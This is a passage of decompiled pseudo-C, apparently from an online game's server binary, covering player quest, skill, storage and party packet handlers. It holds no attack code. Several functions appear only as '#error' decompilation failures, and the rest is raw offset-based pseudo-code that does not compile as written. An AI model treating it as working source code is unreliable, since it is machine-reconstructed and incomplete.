< 0x20u ) result = this->ccm_array[(unsigned __int8)cc]; return result; } //----- (00433EC0) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_SetRegistNumber(int regnum) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SetRegistNumber", 0); } //----- (00433EE0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_CalcCurrentStat(int this) { return *(_BYTE *)(this + 32100) + *(_BYTE *)(this + 32101) + *(_BYTE *)(this + 32102) + *(_BYTE *)(this + 32103) + *(_BYTE *)(this + 32104); } //----- (00433F10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_SpamRecvDataFromWM(void *this, int Data) { void *v2; // esi@1 unsigned int v3; // edi@3 int v4; // eax@3 int v5; // eax@4 unsigned int v6; // ecx@5 v2 = this; if ( Data ) { v3 = clockwatch.cw_CurrTick; v4 = time(0); if ( *(_DWORD *)Data ) { v5 = v3 + 10 * *(_DWORD *)Data; *((_DWORD *)v2 + 23174) = v5; *((_DWORD *)v2 + 23175) = v5 + 10 * *(_DWORD *)(Data + 4); *((_DWORD *)v2 + 23176) = 1; } else { *((_DWORD *)v2 + 23174) = v3; v6 = *(_DWORD *)(Data + 4); if ( v6 <= v4 ) { *((_DWORD *)v2 + 23175) = v3; } else { *((_DWORD *)v2 + 23175) = v3 + 10 * (v6 - v4); *((_DWORD *)v2 + 23176) = 1; } } } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_CharSpammerData : data is NULL", 0); } } //----- (00433FC0) -------------------------------------------------------- #error "433FC0: undefined or illegal type '#325' (funcsize=53)" //----- (004340A0) -------------------------------------------------------- #error "4340A0: undefined or illegal type '#325' (funcsize=58)" //----- (00434190) -------------------------------------------------------- int __thiscall PROTO_NC_CHAR_BASE_CMD::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_BYTE *)(this + 20) = *(_BYTE *)(a2 + 20); *(_BYTE *)(this + 21) = *(_BYTE *)(a2 + 21); *(_DWORD *)(this + 22) = *(_DWORD *)(a2 + 22); *(_DWORD *)(this + 26) = *(_DWORD *)(a2 + 26); *(_WORD *)(this + 30) = *(_WORD *)(a2 + 30); *(_WORD *)(this + 32) = *(_WORD *)(a2 + 32); *(_WORD *)(this + 34) = *(_WORD *)(a2 + 34); *(_WORD *)(this + 36) = *(_WORD *)(a2 + 36); *(_DWORD *)(this + 38) = *(_DWORD *)(a2 + 38); *(_DWORD *)(this + 42) = *(_DWORD *)(a2 + 42); *(_DWORD *)(this + 46) = *(_DWORD *)(a2 + 46); *(_DWORD *)(this + 50) = *(_DWORD *)(a2 + 50); *(_DWORD *)(this + 54) = *(_DWORD *)(a2 + 54); *(_DWORD *)(this + 58) = *(_DWORD *)(a2 + 58); *(_DWORD *)(this + 62) = *(_DWORD *)(a2 + 62); *(_DWORD *)(this + 66) = *(_DWORD *)(a2 + 66); *(_DWORD *)(this + 70) = *(_DWORD *)(a2 + 70); *(_DWORD *)(this + 74) = *(_DWORD *)(a2 + 74); *(_BYTE *)(this + 78) = *(_BYTE *)(a2 + 78); *(_DWORD *)(this + 79) = *(_DWORD *)(a2 + 79); *(_WORD *)(this + 83) = *(_WORD *)(a2 + 83); *(_BYTE *)(this + 85) = *(_BYTE *)(a2 + 85); *(_DWORD *)(this + 86) = *(_DWORD *)(a2 + 86); *(_WORD *)(this + 90) = *(_WORD *)(a2 + 90); *(_BYTE *)(this + 92) = *(_BYTE *)(a2 + 92); *(_DWORD *)(this + 93) = *(_DWORD *)(a2 + 93); return result; } //----- (00434270) -------------------------------------------------------- #error "434270: undefined or illegal type '#325' (funcsize=66)" //----- (00434370) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_charsharpdata(void *this, int data) { void *v2; // esi@1 char *v3; // eax@1 int v4; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_charsharpdata"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_charsharpdata"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)((char *)v2 + 32118) = *(_DWORD *)data; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4153; *(_DWORD *)(v3 + 2) = *(_DWORD *)data; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_charsharpdata : Packet Too Long", 6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_charsharpdata"); } //----- (00434460) -------------------------------------------------------- #error "434460: undefined or illegal type '#325' (funcsize=66)" //----- (00434560) -------------------------------------------------------- #error "434560: undefined or illegal type '#325' (funcsize=66)" //----- (00434660) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_StoreQuestDoing(void *this, int data) { void *v2; // edi@1 signed int v3; // ebx@1 char *v4; // ecx@1 void *v5; // edx@2 int v6; // esi@5 int v7; // eax@7 void *v8; // [sp+0h] [bp-14h]@1 v2 = this; v8 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_StoreQuestDoing"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_StoreQuestDoing"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; CQuest::Recv_NC_CHAR_QUEST_DOING_CMD_ACK((CQuest *)((char *)v2 + 66032), (PROTO_NC_CHAR_QUEST_DOING_CMD *)data); v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4154; *(_DWORD *)(v4 + 2) = *(_DWORD *)data; *((_WORD *)v4 + 3) = *(_WORD *)(data + 4); if ( v4[7] ) { v5 = v4 + 8; do { memcpy(v5, (char *)v5 + data - (_DWORD)(v4 + 2), 0x20u); ++v3; v5 = (char *)v5 + 32; } while ( v3 < (unsigned __int8)v4[7] ); v2 = v8; } v6 = 32 * (unsigned __int8)v4[7] + 8; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 32 * (unsigned __int8)v4[7] + 8) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_StoreQuestDoing : Packet Too Long", v6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_StoreQuestDoing"); } //----- (004347A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_StoreQuestDone(void *this, int data) { void *v2; // edi@1 char *v3; // ecx@1 int v4; // eax@1 signed int v5; // edx@1 int v6; // ecx@2 int v7; // esi@4 int v8; // eax@6 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_StoreQuestDone"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_StoreQuestDone"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CQuest::Recv_NC_CHAR_QUEST_DONE_CMD_ACK((CQuest *)((char *)v2 + 66032), (PROTO_NC_CHAR_QUEST_DONE_CMD *)data); v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4155; v4 = (int)(v3 + 2); *(_DWORD *)(v3 + 2) = *(_DWORD *)data; *((_WORD *)v3 + 3) = *(_WORD *)(data + 4); v5 = 0; if ( *((_WORD *)v3 + 3) ) { v6 = (int)(v3 + 8); do { *(_WORD *)v6 = *(_WORD *)(data - v4 + v6); ++v5; v6 += 2; } while ( v5 < *(_WORD *)(v4 + 4) ); } v7 = 2 * *(_WORD *)(v4 + 4) + 8; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2 * *(_WORD *)(v4 + 4) + 8) ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_StoreQuestDoing : Packet Too Long", v7); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_StoreQuestDone"); } //----- (004348D0) -------------------------------------------------------- #error "4348D0: undefined or illegal type '#325' (funcsize=66)" //----- (004349D0) -------------------------------------------------------- #error "4349D0: undefined or illegal type '#325' (funcsize=66)" //----- (00434AD0) -------------------------------------------------------- #error "434AD0: undefined or illegal type '#325' (funcsize=66)" //----- (00434BD0) -------------------------------------------------------- #error "434BD0: undefined or illegal type '#325' (funcsize=66)" //----- (00434CD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_charpassivedata(void *this, int data) { void *v2; // ebx@1 Name4 *v3; // eax@1 char *v4; // eax@1 int v5; // esi@1 int v6; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_charpassivedata"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_charpassivedata"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; BitSet::bs_clear((BitSet *)((char *)v2 + 68240)); v3 = (Name4 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1352))(v2); CharacterPassiveList::cpl_Store( (CharacterPassiveList *)((char *)v2 + 68240), (PROTO_NC_CHAR_SKILL_PASSIVE_CMD *)data, v3); v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4158; *((_WORD *)v4 + 1) = *(_WORD *)data; memcpy(v4 + 4, (const void *)(data + 2), 2 * *(_WORD *)data); v5 = 2 * *((_WORD *)v4 + 1) + 4; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2 * *((_WORD *)v4 + 1) + 4) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_charpassivedata : Packet Too Long", v5); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_charpassivedata"); } //----- (00434E00) -------------------------------------------------------- #error "434E00: undefined or illegal type '#325' (funcsize=69)" //----- (00434F10) -------------------------------------------------------- #error "434F10: undefined or illegal type '#325' (funcsize=66)" //----- (00435010) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_charskilldata(void *this, int data) { void *v2; // esp@1 void *v3; // ebx@1 unsigned __int8 v4; // al@1 CharClassManager *v5; // eax@2 int v6; // eax@6 CharClass *v7; // eax@6 char *v8; // esi@6 int v9; // eax@6 char v10; // ST14_1@8 int v11; // ecx@9 bool v12; // zf@9 bool v13; // sf@9 char *v14; // eax@10 int v15; // ecx@11 int v16; // esi@12 int v17; // eax@14 char *v18; // [sp-10h] [bp-3EB4h]@5 int v19; // [sp+0h] [bp-3EA4h]@6 int v20; // [sp+0h] [bp-3EA4h]@10 int v21; // [sp+4h] [bp-3EA0h]@10 char buffer[16000]; // [sp+Ch] [bp-3E98h]@6 unsigned int cookie; // [sp+3E90h] [bp-14h]@16 void *v24; // [sp+3E94h] [bp-10h]@1 int v25; // [sp+3EA0h] [bp-4h]@1 v24 = this; v2 = alloca(16020); v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_charskilldata"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_charskilldata"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (*((_BYTE *)v3 + 32118) >> 2) & 0x1F; v25 = 0; if ( v4 >= 0x20u ) v5 = &charclassmanager; else v5 = (CharClassManager *)charclassmanager.ccm_array[v4]; *((_DWORD *)v3 + 1001) = v5; if ( *(_WORD *)(data + 4) < 0x3DEu ) { *(_DWORD *)buffer = *(_DWORD *)data; *(_WORD *)&buffer[4] = *(_WORD *)(data + 4); v6 = *(_DWORD *)v3; memcpy(&buffer[6], (const void *)(data + 6), 4 * (16 * (unsigned int)*(unsigned __int16 *)&buffer[4] >> 2)); v7 = (CharClass *)(*(int (__thiscall **)(void *))(v6 + 1160))(v3); DefSkillData::dsd_SetDefault(&defskill, (PROTO_NC_CHAR_SKILL_CMD *)buffer, v7); (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); CharaterSkillList::csl_Store((CharaterSkillList *)v3 + 3411, (PROTO_NC_CHAR_SKILL_CMD *)buffer); v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4157; v19 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1640))(v3); v9 = CharaterSkillList::csl_EmpowerSummary((CharaterSkillList *)v3 + 3411); if ( v19 >= v9 ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1640))(v3); v8[2] = v10 - CharaterSkillList::csl_EmpowerSummary((CharaterSkillList *)v3 + 3411); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_charskilldata : Too many empow", v19 >= v9); v8[2] = 0; } *(_DWORD *)(v8 + 3) = *(_DWORD *)buffer; v11 = *(unsigned __int16 *)&buffer[4]; v12 = *(unsigned __int16 *)&buffer[4] == 0; v13 = (signed int)*(unsigned __int16 *)&buffer[4] < 0; *(_WORD *)(v8 + 7) = *(_WORD *)&buffer[4]; if ( !(v13 | v12) ) { v21 = (int)(v8 + 9); v14 = &buffer[10]; v20 = v11; do { *(_DWORD *)v21 = *(_DWORD *)v14; v15 = *((_DWORD *)v14 + 2); *(_DWORD *)(v21 + 4) = *((_DWORD *)v14 + 1); *(_DWORD *)(v21 + 8) = v15; v14 += 16; v12 = v20 == 1; v21 += 12; --v20; } while ( !v12 ); } v16 = 12 * *(_WORD *)(v8 + 7) + 9; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v16) ) { v17 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 760))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v17 + 12))(v17, v3, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_charskilldata : Packet Too Long", v16); } v25 = -1; v18 = "ShineObjectClass::ShinePlayer::so_charskilldata"; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_charskilldata : Too many skills", *(_WORD *)(data + 4)); v25 = -1; v18 = "ShineObjectClass::ShinePlayer::so_charskilldata"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v18); __security_check_cookie(cookie); } //----- (004352A0) -------------------------------------------------------- #error "4352A0: undefined or illegal type '#325' (funcsize=66)" //----- (004353A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_Storegamedata(void *this, int gamedata) { void *v2; // esi@1 unsigned int v3; // eax@1 unsigned __int16 v4; // ax@1 char *v5; // eax@3 int v6; // eax@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_Storegamedata"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_Storegamedata"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_WORD *)v2 + 16068) = *(_WORD *)gamedata; *((_BYTE *)v2 + 32138) = *(_BYTE *)(gamedata + 2); v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); v4 = PartyManufacture::pm_FindParty(&partymanufacture, v3); if ( *(_WORD *)((char *)v2 + 32137) != v4 ) *(_WORD *)((char *)v2 + 32137) = v4; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4168; *((_WORD *)v5 + 1) = *(_WORD *)((char *)v2 + 32137); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_Storegamedata : Packet Too Long", 4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_Storegamedata"); } //----- (004354C0) -------------------------------------------------------- #error "4354C0: undefined or illegal type '#325' (funcsize=66)" //----- (004355C0) -------------------------------------------------------- #error "4355C0: undefined or illegal type '#325' (funcsize=48)" //----- (00435690) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_accountstoragefill(void *this, int accstorage) { void *v2; // esi@1 int v3; // edi@3 PROTO_ITEMPACKET_TOTAL *v4; // ST0C_4@3 char *v5; // ebp@3 int v6; // eax@3 unsigned int v7; // ecx@3 char *v8; // ecx@3 int v9; // edi@3 int v10; // ebp@3 char v11; // al@3 int v12; // edi@3 int v13; // eax@7 char *v14; // [sp-8h] [bp-1Ch]@2 char *accstoragea; // [sp+18h] [bp+4h]@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_accountstoragefill"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_accountstoragefill"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *((_BYTE *)v2 + 23280) & 0x10 ) { v14 = "ShineObjectClass::ShinePlayer::so_accountstoragefill"; } else { ItemBag::ib_clear((ItemBag *)v2 + 17358); v3 = accstorage; v4 = (PROTO_ITEMPACKET_TOTAL *)(accstorage + 15); accstoragea = (char *)(accstorage + 14); ItemBag::ib_Initializetotal((ItemBag *)v2 + 17358, accstoragea, v4, 6); *((_DWORD *)v2 + 17356) = *(_DWORD *)(v3 + 6); *((_DWORD *)v2 + 17357) = *(_DWORD *)(v3 + 10); v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 15368; *(_DWORD *)(v5 + 2) = *(_DWORD *)(v3 + 6); *(_DWORD *)(v5 + 6) = *(_DWORD *)(v3 + 10); v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1352))(v2); v7 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v7; v8 = (char *)&namestring + 256 * v7; *(_DWORD *)v8 = *(_DWORD *)v6; *((_DWORD *)v8 + 1) = *(_DWORD *)(v6 + 4); *((_DWORD *)v8 + 2) = *(_DWORD *)(v6 + 8); v9 = (int)(v5 + 10); *((_DWORD *)v8 + 3) = *(_DWORD *)(v6 + 12); v8[16] = 0; v10 = ItemAccountStorage::ias_FillBufferItem( (ItemAccountStorage *)((char *)v2 + 69432), v5 + 10, (PROTO_ITEMPACKET_INFORM *)(v5 + 11), v8, 0, 143); v11 = *(_BYTE *)v9; v12 = *(_BYTE *)v9 - (unsigned __int8)*accstoragea; if ( v11 != *accstoragea ) AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_StoreInventoryFromServer : ItemNumber not match", v12); if ( ProtocolPacket::pp_SetPacketLen(&gpp, v10 + 11) ) { v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_StoreInventoryFromServer : Packet Too Long", v10 + 11); } *((_BYTE *)v2 + 23280) |= 0x10u; v14 = "ShineObjectClass::ShinePlayer::so_accountstoragefill"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v14); } //----- (00435850) -------------------------------------------------------- #error "435850: undefined or illegal type '#325' (funcsize=66)" //----- (00435950) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_ply_Getchestinform(int chest) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_Getchestinform"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_Getchestinform"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_Getchestinform"); } //----- (004359A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_Getchestinform(void *this, int chest) { void *v2; // ebp@1 signed int v3; // ebx@1 int v4; // edi@2 int v5; // eax@3 unsigned int v6; // ecx@5 int v7; // eax@6 int v8; // ecx@6 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Getchestinform"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_Getchestinform"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; BitSet::bs_clear((BitSet *)((char *)v2 + 89150)); if ( *(_WORD *)chest > 0u ) { v4 = chest + 2; do { v5 = *(_WORD *)v4; if ( (unsigned int)v5 < *(_DWORD *)((char *)v2 + 89154) ) { v6 = *(_WORD *)v4; if ( v6 < *(_DWORD *)((char *)v2 + 89154) ) { v7 = *(_DWORD *)((char *)v2 + 89150) + (v6 >> 3); v8 = v6 & 0x80000007; if ( v8 < 0 ) LOBYTE(v8) = ((unsigned __int8)(v8 - 1) | 0xF8) + 1; *(_BYTE *)v7 |= 1 << v8; } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_Getchestinform : Too large location", v5); } ++v3; v4 += 2; } while ( v3 < *(_WORD *)chest ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Getchestinform"); } //----- (00435AA0) -------------------------------------------------------- #error "435AA0: undefined or illegal type '#325' (funcsize=58)" //----- (00435B90) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_USER_CONNECTION_ZONE_CHANGE_CHAR_ID_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { unsigned __int16 v3; // ax@1 unsigned __int16 v4; // di@1 int v5; // eax@3 char *v6; // eax@6 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_USER_CONNECTION_ZONE_CHANGE_CHAR_ID_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_USER_CONNECTION_ZONE_CHANGE_CHAR_ID_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = CParty::PartyGetNo(&partycontainer, *(_DWORD *)&netcmd[1].protocol); v4 = v3; if ( v3 != -1 ) { if ( v3 < 0x7D0u ) { v5 = CParty::MemberGetNo(&partycontainer, v3, *(_DWORD *)&netcmd[1].protocol); if ( v5 >= 0 ) { if ( LOBYTE(netcmd[3].protocol) == 1 ) { CParty::MemberLeave(&partycontainer, v4, *(_DWORD *)&netcmd[1].protocol); } else { v6 = (char *)&partycontainer.m_Array[v4].Members[v5].MemberInform.Member.charname; *(_DWORD *)v6 = *(_DWORD *)((char *)&netcmd[11].protocol + 1); *((_DWORD *)v6 + 1) = *(_DWORD *)((char *)&netcmd[13].protocol + 1); *((_DWORD *)v6 + 2) = *(_DWORD *)((char *)&netcmd[15].protocol + 1); *((_DWORD *)v6 + 3) = *(_DWORD *)((char *)&netcmd[17].protocol + 1); } } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_USER_CONNECTION_ZONE_CHANGE_CHAR_ID_CMD"); } //----- (00435CA0) -------------------------------------------------------- void __thiscall ItemSmallBag::isb_Initializetotal(ItemSmallBag *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int inventype) { ItemSmallBag *v4; // ebx@1 signed int v5; // ebp@1 PROTO_ITEMPACKET_TOTAL *v6; // esi@1 int v7; // edi@3 int v8; // edi@5 unsigned __int16 v9; // ax@5 ItemTotalInformation itemtemp; // [sp+Ch] [bp-74h]@5 v4 = this; v5 = 0; v6 = itmarr; if ( *itemcounter ) { while ( 1 ) { if ( (unsigned int)v6->location.Inven >> 10 != inventype ) goto LABEL_6; v7 = v6->location.Inven & 0x3FF; if ( (v6->location.Inven & 0x3FF) < v4->vfptr->isb_BagSizeOutput(v4) ) break; AssertClass::ac_AssertFail(&shineassert, "ItemSmallBag::isb_Initializetotal : Invalid slot", v7); v6 = (PROTO_ITEMPACKET_TOTAL *)((char *)v6 + v6->datasize + 1); LABEL_7: ++v5; if ( v5 >= (unsigned __int8)*itemcounter ) return; } ItemTotalInformation::iti_fill2struct_whole( &itemtemp, &itmattcontainer.iacc_default, 0xFFFFu, v6->info.iti_registnum.binary.gap0); v8 = (int)v4->vfptr->isb_GetInventoryCell(v4, v6->location.Inven & 0x3FF); ItemInform_ActionItem::sii_Import((ItemInform_ActionItem *)v8, &itemtemp); v9 = ItemInventoryCell::iic_ItemIdent((ItemInform_ActionItem *)v8); *(_DWORD *)(v8 + 16) = ItemAttributeClassContainer::operator__(&itmattcontainer, v9); LABEL_6: v6 = (PROTO_ITEMPACKET_TOTAL *)((char *)v6 + v6->datasize + 1); goto LABEL_7; } } //----- (00435DB0) -------------------------------------------------------- int __thiscall ItemSmallBag::isb_FullBufferItem2Client(ItemSmallBag *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr, int box) { ItemSmallBag *v4; // ebx@1 PROTO_ITEMPACKET_INFORM *v5; // esi@1 ItemSmallBagVtbl *v6; // edx@1 ItemInform_ActionItem *v7; // eax@4 ItemInform_ActionItem *v8; // ebx@4 unsigned __int16 v9; // ax@8 char v10; // al@8 int result; // eax@10 int slot; // [sp+4h] [bp-90h]@1 ItemSmallBag *v13; // [sp+8h] [bp-8Ch]@1 ItemAttributeClass *iac; // [sp+Ch] [bp-88h]@6 ItemTotalInformation iti; // [sp+14h] [bp-80h]@6 unsigned int v16; // [sp+84h] [bp-10h]@10 int v17; // [sp+90h] [bp-4h]@1 v4 = this; v13 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ItemSmallBag::isb_FullBufferItem2Client"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemSmallBag::isb_FullBufferItem2Client"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = itmarr; *itemcounter = 0; v6 = v4->vfptr; v17 = 0; slot = 0; if ( v6->isb_BagSizeOutput(v4) > 0 ) { while ( 1 ) { v7 = (ItemInform_ActionItem *)v4->vfptr->isb_GetInventoryCell(v4, slot); v8 = v7; if ( v7 ) { if ( ItemInventoryCell::iic_ItemIdent(v7) != -1 ) { ItemInform_ActionItem::sii_Export(v8, &iti); v5->location.Inven = ((_WORD)box << 10) ^ slot & 0x3FF; iac = (ItemAttributeClass *)&itmattcontainer; if ( *(_DWORD *)&v8[1].iiai_RegistNumber.binary.gap0[2] ) iac = *(ItemAttributeClass **)&v8[1].iiai_RegistNumber.binary.gap0[2]; v9 = ItemInventoryCell::iic_ItemIdent(v8); v10 = (char)&ItemTotalInformation::iti_fill2buffer_union(&iti, iac, v9, (char *)&v5->info)[-(_BYTE)v5 - 1]; v5->datasize = v10; v5 = (PROTO_ITEMPACKET_INFORM *)((char *)v5 + (unsigned __int8)v10 + 1); ++*itemcounter; if ( (signed int)((char *)v5 - (char *)itmarr) >= 8000 ) break; } } ++slot; if ( slot >= ((int (*)(void))v13->vfptr->isb_BagSizeOutput)() ) break; v4 = v13; } } --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ItemSmallBag::isb_FullBufferItem2Client"); __security_check_cookie(v16); return result; } //----- (00435F50) -------------------------------------------------------- void __thiscall ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(TableNameCompareArgument *this) { this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; } // 5BD578: using guessed type int (__stdcall 